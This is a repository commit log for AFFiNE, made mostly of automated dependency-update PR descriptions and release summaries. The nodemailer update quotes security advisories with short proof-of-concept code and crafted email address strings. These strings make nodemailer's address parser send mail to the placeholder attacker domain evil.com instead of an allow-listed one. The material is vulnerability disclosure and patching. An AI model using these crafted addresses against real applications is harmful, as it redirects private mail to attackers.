**[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) ### [`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0) ##### 🎨 Features - Adds support for event listener properties on Window (e.g. `Window.onkeydown`) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.25-canary.907 |
||
|
|
cb9a9a72bc |
chore: bump up nodemailer version to v10.1.4 [SECURITY] (#15738)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`10.0.13` → `10.1.4`](https://renovatebot.com/diffs/npm/nodemailer/10.0.13/10.1.4) |  |  | --- ### Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name [GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) <details> <summary>More information</summary> #### Details ##### Vulnerability summary addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. `<"a@evil.com>"@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ##### Realistic exploitation scenario An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits `<"a@evil.com>"@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO:<"\"a"@evil.com>` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("<\"a@evil.com>\"@good.com>")); // [ { address: '"a@evil.com', name: '@good.com>' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `"a@evil.com>"@good.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "<\"a@evil.com>\"@good.com>" })` issues the RCPT TO shown above. ##### Security impact Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-85x2-q946-cp5h) - [https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-85x2-q946-cp5h](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-85x2-q946-cp5h) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient [GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) <details> <summary>More information</summary> #### Details ##### Vulnerability summary addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; <evil@evil.com>) <v@victim.com>;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects. ##### Realistic exploitation scenario An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; <evil@evil.com>) <v@victim.com>;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" "<evil@evil.com>" <v@victim.com>;`. The boundary crossed is the application's recipient allow list. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;")); // [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" })` issues the RCPT TO shown above. ##### Security impact Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser. The fix tracks quoted strings and comments inside a group and reads only a `;` outside them. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-m943-m63m-w62w) - [https://github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-m943-m63m-w62w](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-m943-m63m-w62w) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient [GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) <details> <summary>More information</summary> #### Details ##### Vulnerability summary RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) <evil@evil.com>) <v@victim.com>` names `v@victim.com` with `x(y) <evil@evil.com>` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3. ##### Attacker capabilities The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects. ##### Realistic exploitation scenario An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) <evil@evil.com>) <v@victim.com>`, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side. ##### Proof of concept ```js const addressparser = require('nodemailer/lib/addressparser'); console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>")); // [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ] ``` Python's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported. The envelope a message gets is built from the same parse, so `sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" })` issues the RCPT TO shown above. ##### Security impact Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser. The fix counts comment depth and ends a comment only at the `)` that closes the outermost one. Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-8c8m-p3m8-cjg8) - [https://github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011) - [https://github.com/nodemailer/nodemailer/releases/tag/v10.1.4](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v10.1.4) - [https://github.com/advisories/GHSA-8c8m-p3m8-cjg8](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8c8m-p3m8-cjg8) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v10.1.4`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1014-2026-10-18) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.3...v10.1.4) ##### Bug Fixes - **addressparser:** apply the unexpected "<" rule outside quotes and comments ([ee35f57](https://redirect.github.com/nodemailer/nodemailer/commit/ee35f5745658bf46952651fa53207255e9dc3406)) - **addressparser:** bound group nesting at ten levels ([ce63303](https://redirect.github.com/nodemailer/nodemailer/commit/ce633031d58f8d2e9c9b0f5b671944a1afe71f95)) - **addressparser:** drop the obsolete route from an angle-addr ([3dbc730](https://redirect.github.com/nodemailer/nodemailer/commit/3dbc7304b0cfa06551543fa2dc01222447c2b554)) - **addressparser:** end a comment only at the ")" that closes the outermost one ([0a87617](https://redirect.github.com/nodemailer/nodemailer/commit/0a8761762ac78f2db2ba37f712f2a52a404ce011)) - **addressparser:** honour quoted strings and comments inside an angle-addr and a group ([1cd57d2](https://redirect.github.com/nodemailer/nodemailer/commit/1cd57d2b8c49dff048c21cdbafdb54439a7f07e2)) - **addressparser:** never read a mailbox out of a comment ([a1538ea](https://redirect.github.com/nodemailer/nodemailer/commit/a1538ea39c76c48a4134806c41e31e59a258b1e5)) - **addressparser:** read CFWS beside the "@​" of an addr-spec as nothing ([ba3c095](https://redirect.github.com/nodemailer/nodemailer/commit/ba3c0952542581f95cb20d9322cc9e27baa470a2)) - **addressparser:** read the first addr-spec of the display text ([038940a](https://redirect.github.com/nodemailer/nodemailer/commit/038940a069a2cecb64a70d0e81b17eb8ce200d3a)) - split a domain literal off at the "@​" in front of it ([d5983b0](https://redirect.github.com/nodemailer/nodemailer/commit/d5983b0ae234cd22ab45be817fefd434e9a53d58)) ### [`v10.1.3`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1013-2026-10-18) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.2...v10.1.3) ##### Bug Fixes - format References and strip URLs in linear time, release any number of streams ([2f18641](https://redirect.github.com/nodemailer/nodemailer/commit/2f186418cf6c8fff18f235d4318892fd42f810fa)) ### [`v10.1.2`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1012-2026-10-16) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.1...v10.1.2) ##### Bug Fixes - bound the work a message can make the mailer do and keep per-message auth off the transport's token endpoint ([e347fa2](https://redirect.github.com/nodemailer/nodemailer/commit/e347fa2260a7e342e772a7e187937aa87ac96364)) ### [`v10.1.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1011-2026-10-14) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.1.0...v10.1.1) ##### Bug Fixes - **fetch:** strip credentials on any cross-origin redirect ([a15360c](https://redirect.github.com/nodemailer/nodemailer/commit/a15360cd2cd12e4670e96ab0b7290e8c862391cf)) ### [`v10.1.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#1010-2026-10-10) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.16...v10.1.0) ##### Features - harden message streams, SMTP connections and the connection pool ([8009da6](https://redirect.github.com/nodemailer/nodemailer/commit/8009da6e10bb8e10d7f0948a25d65895fdcd64f1)) ##### Bug Fixes - do not read the environment or the interface table on import ([094179d](https://redirect.github.com/nodemailer/nodemailer/commit/094179d176d2ebe7a28742411ad427d3c87a3981)) - end the SMTP session on any 421 reply and drive the envelope through one step ([5638ac1](https://redirect.github.com/nodemailer/nodemailer/commit/5638ac1914342460df270f736e7ceb0a844cf83a)) - keep ERR_ACCESS_DENIED from the Node.js permission model ([8b33a3d](https://redirect.github.com/nodemailer/nodemailer/commit/8b33a3d4fedee3431b97da7da12af954c3c8dceb)) - let the proxy handshake and the SMTP connection share one deadline ([91ed683](https://redirect.github.com/nodemailer/nodemailer/commit/91ed683f7a1e9ff8c56e24fb76facf16af08b162)) - **mime-node:** decode an SMTPUTF8 domain from its A-label form ([e436f4d](https://redirect.github.com/nodemailer/nodemailer/commit/e436f4dccbc8b0fb57b4747ebaafa5bb035c15cb)) - **mime-node:** finish an encoded part only after its output was read ([ec97d8f](https://redirect.github.com/nodemailer/nodemailer/commit/ec97d8f679a1d9d47bbebb03ea064f5fa6f58d01)) - **qp:** encode a lone CR or LF in binary quoted-printable parts ([42b91d9](https://redirect.github.com/nodemailer/nodemailer/commit/42b91d9a0fe18eea412c9774c5c142adf5b3efc7)) - **smtp-connection:** count the wait for the greeting against connectionTimeout ([bdcd046](https://redirect.github.com/nodemailer/nodemailer/commit/bdcd0462cab163eca3c34058d09b9981ab671c47)) - **smtp-connection:** drop the connection when DATA is taken after a refused sender ([f90fb04](https://redirect.github.com/nodemailer/nodemailer/commit/f90fb045bc24f96a128710791b2fa443e64f55fd)) - **smtp-connection:** refuse a second connect() call ([24ba2e0](https://redirect.github.com/nodemailer/nodemailer/commit/24ba2e0847ecb8202540f1c5e53483bd119ae4f2)) - turn Nagle off for SMTP sockets and report an early sendmail exit as such ([fa9b8d3](https://redirect.github.com/nodemailer/nodemailer/commit/fa9b8d300bf642cd9e11f6732ebb312c09868677)) ##### Performance Improvements - encode base64 and quoted-printable without per-chunk delays ([fd377bb](https://redirect.github.com/nodemailer/nodemailer/commit/fd377bbf559363860aedbedba6f107348fc152d2)) ### [`v10.0.16`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10016-2026-10-07) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.15...v10.0.16) ##### Bug Fixes - **addressparser:** keep an escaped parenthesis inside a comment ([c4ae20d](https://redirect.github.com/nodemailer/nodemailer/commit/c4ae20d074ac0510cc2d0cbd6039ee7fab3a4ca8)) - **fetch:** keep the case of cookie names ([#​1888](https://redirect.github.com/nodemailer/nodemailer/issues/1888)) ([9f16eed](https://redirect.github.com/nodemailer/nodemailer/commit/9f16eedf8de0485e6d07969113db992ff70f89ce)) - **fetch:** read the cookie name-value pair by position ([645e97c](https://redirect.github.com/nodemailer/nodemailer/commit/645e97c8f0586404d9fb861c9527be7572c2c832)) ### [`v10.0.15`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10015-2026-10-05) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.14...v10.0.15) ##### Bug Fixes - **errors:** inherit NodemailerError code from ErrnoException ([e99db61](https://redirect.github.com/nodemailer/nodemailer/commit/e99db61d51c244e184a3a79103d1d732ffb6376b)), closes [#​1884](https://redirect.github.com/nodemailer/nodemailer/issues/1884) - **errors:** keep NodemailerError compatible with [@​types/node](https://redirect.github.com/types/node) 26 ErrnoException ([#​1885](https://redirect.github.com/nodemailer/nodemailer/issues/1885)) ([b660328](https://redirect.github.com/nodemailer/nodemailer/commit/b6603286cc45bff52c13cc74e5ac47f424452fdc)) ### [`v10.0.14`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#10014-2026-10-03) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v10.0.13...v10.0.14) ##### Bug Fixes - **addressparser:** keep a quoted display name that holds no "@​" out of the address ([3570d26](https://redirect.github.com/nodemailer/nodemailer/commit/3570d26c7b55f6e5df50d4076046600ad3fd040b)) - **addressparser:** keep the group recursion depth out of the options object ([a680254](https://redirect.github.com/nodemailer/nodemailer/commit/a68025405a1378c82e78f64ffad27b92c1035cbe)) - **addressparser:** stop a "\[" from hiding the operators after it ([5619784](https://redirect.github.com/nodemailer/nodemailer/commit/561978491d5cc33d2052a6c89a499b838b960262)) - **dkim:** trim a header field name in linear time ([c6f7a55](https://redirect.github.com/nodemailer/nodemailer/commit/c6f7a55a2978bf031b8519ebf59baddf94c032c8)) - **mime-funcs:** read and write header parameters per rfc2045 and rfc2231 ([b8ccad7](https://redirect.github.com/nodemailer/nodemailer/commit/b8ccad723a7e49a674a4d70f32eb9fe77312008d)) - search only the new bytes for the end of the proxy CONNECT response ([81efd7b](https://redirect.github.com/nodemailer/nodemailer/commit/81efd7bfc559305f900d6a22b5c56aa94556002b)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
e8aae4e443 |
chore: bump up multer version to v2.5.0 [SECURITY] (#15737)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [multer](https://redirect.github.com/expressjs/multer) | [`2.4.0` → `2.5.0`](https://renovatebot.com/diffs/npm/multer/2.4.0/2.5.0) |  |  | --- ### multer vulnerable to Denial of Service via a pending asynchronous fileFilter after request teardown [CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872) / [GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) <details> <summary>More information</summary> #### Details ##### Impact When `multer` is configured with an asynchronous `fileFilter`, a single request can crash the Node.js process. If a request is aborted (for example when one file is rejected) while another file's async `fileFilter` is still pending, the pending callback later resumes a parsing stream that multer has already torn down. busboy then emits an error on a stream that no longer has an error listener, which Node raises as an unhandled `'error'` event, and the process exits. A single unauthenticated request is enough, so any application using `multer` with an asynchronous `fileFilter` is affected, regardless of storage engine. Uploads using a synchronous `fileFilter` are not affected. ##### Patches Users should upgrade to `multer` `2.5.0` or later. ##### Workarounds Use a synchronous `fileFilter`. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m) - [https://nvd.nist.gov/vuln/detail/CVE-2026-113872](https://nvd.nist.gov/vuln/detail/CVE-2026-113872) - [https://github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf](https://redirect.github.com/expressjs/multer/commit/80a2d9df1dfd63b5fab631b8b9966164ed647adf) - [https://cna.openjsf.org/security-advisories.html](https://cna.openjsf.org/security-advisories.html) - [https://github.com/expressjs/multer/releases/tag/v2.5.0](https://redirect.github.com/expressjs/multer/releases/tag/v2.5.0) - [https://github.com/advisories/GHSA-q7qp-rjg7-q26m](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-q7qp-rjg7-q26m) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>expressjs/multer (multer)</summary> ### [`v2.5.0`](https://redirect.github.com/expressjs/multer/blob/HEAD/CHANGELOG.md#250) [Compare Source](https://redirect.github.com/expressjs/multer/compare/v2.4.0...v2.5.0) - Fix [CVE-2026-113872](https://www.cve.org/CVERecord?id=CVE-2026-113872) ([GHSA-q7qp-rjg7-q26m](https://redirect.github.com/expressjs/multer/security/advisories/GHSA-q7qp-rjg7-q26m)) - Accept a field value of exactly `limits.fieldSize` bytes, so `LIMIT_FIELD_VALUE` fires only when the limit is exceeded. This also covers the default `fieldSize` of 1MB, so a [`1048576`](https://redirect.github.com/expressjs/multer/commit/1048576) byte value is no longer rejected when you set no limits. If you set `fieldSize` one higher to work around this, you can drop the extra one ([#​1481](https://redirect.github.com/expressjs/multer/pull/1481)) - Do not add a file to the abort cleanup list when its storage engine reports an error after a `LIMIT_FILE_SIZE` abort; `DiskStorage` no longer tries to unlink an undefined path ([#​1489](https://redirect.github.com/expressjs/multer/pull/1489)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
733d839bcf | chore: cleanup codes v0.27.5-beta.2 | ||
|
|
fbf2cebfa0 |
fix(server): data migration (#15730)
#### PR Dependency Tree * **PR #15730** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Bug Fixes** * Payment records missing provider or source identity now require repair instead of being automatically adopted or matched through legacy identifiers. * RevenueCat subscription confirmation checks for expected subscription identities, and subscription entitlements include provider and recurrence details. * Pending uploads with missing expiration dates remain pending during cutover rather than being marked deleted. * **Improvements** * Embedding projections are refreshed when source content or revision details change, with updated processing order. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.23-canary.908 |
||
|
|
e32f8dce04 |
chore: bump deps (#15729)
#### PR Dependency Tree * **PR #15729** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> <!-- coderabbit-ai-generated:v1 --> ## Summary by CodeRabbit * **Deployment** * Updated the Cloud SQL Proxy image and integrated it with deployment charts. * Containers now run with stricter security settings, including non-root execution and read-only filesystems. * **Desktop** * Updated Electron and Node versions and adjusted Windows builds to support multiple architectures. * **Maintenance** * Updated Vite and Storybook versions across development tools. * Improved production GraphQL schema handling. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.22-canary.909 |
||
|
|
0b69a6da21 |
fix(server): blob sync timing (#15704)
#### PR Dependency Tree * **PR #15704** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Bug Fixes** * Blob uploads now use the latest workspace storage limit, so uploads can proceed after a quota change without relying on a stale limit. * Upload cancellation is limited to the matching upload, preventing unrelated uploads from being aborted. * Failed or stale storage reservations can be retried more reliably, while deleted storage keys and comment attachments remain protected from unauthorized reuse. * **Reliability** * Upload and reservation failures now include contextual logging to aid troubleshooting. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.12-canary.921 |
||
|
|
f37340127b |
feat(server): handle m4a slice (#15703)
fix #15594 #### PR Dependency Tree * **PR #15703** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Added support for recovering transcripts from MP4 and M4A audio, alongside existing Ogg and Opus formats. * Added MP4 audio slicing, including support for edit-list trimming and checks for invalid or unsupported audio. * **Bug Fixes** * Improved handling of unsupported audio inputs during transcript recovery. * **Chores** * Updated the LLM adapter and runtime dependencies. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
9be1a8284a |
feat: bump deps (#15698)
<!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Workspace selection, creation, and navigation after import now use consistent view transitions, including in browsers without native transition support. * **Chores** * Updated supporting components for mathematical notation, diagrams, desktop functionality, and backend services. * Refreshed tools used by the app and its documentation, including components for error reporting and GraphQL operations. These updates do not change the rendered equations. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.10.11-canary.908 |
||
|
|
a047628f82 |
feat(server): transcript truncated (#15697)
fix #14261 #### PR Dependency Tree * **PR #15697** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **New Features** * Meeting transcription can process longer recordings in shorter sections and combine the results into a transcript and summary. * If a transcription provider blocks audio, recoverable sections can be retried. Unavailable sections are marked in the transcript, and summaries focus on available speech. * Transcript timestamps are aligned with their audio sections, including when providers return timestamps in different formats. * **Bug Fixes** * Audio transcription failures now display a clear, localized message, with details available on focus. Long error text wraps within the player. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |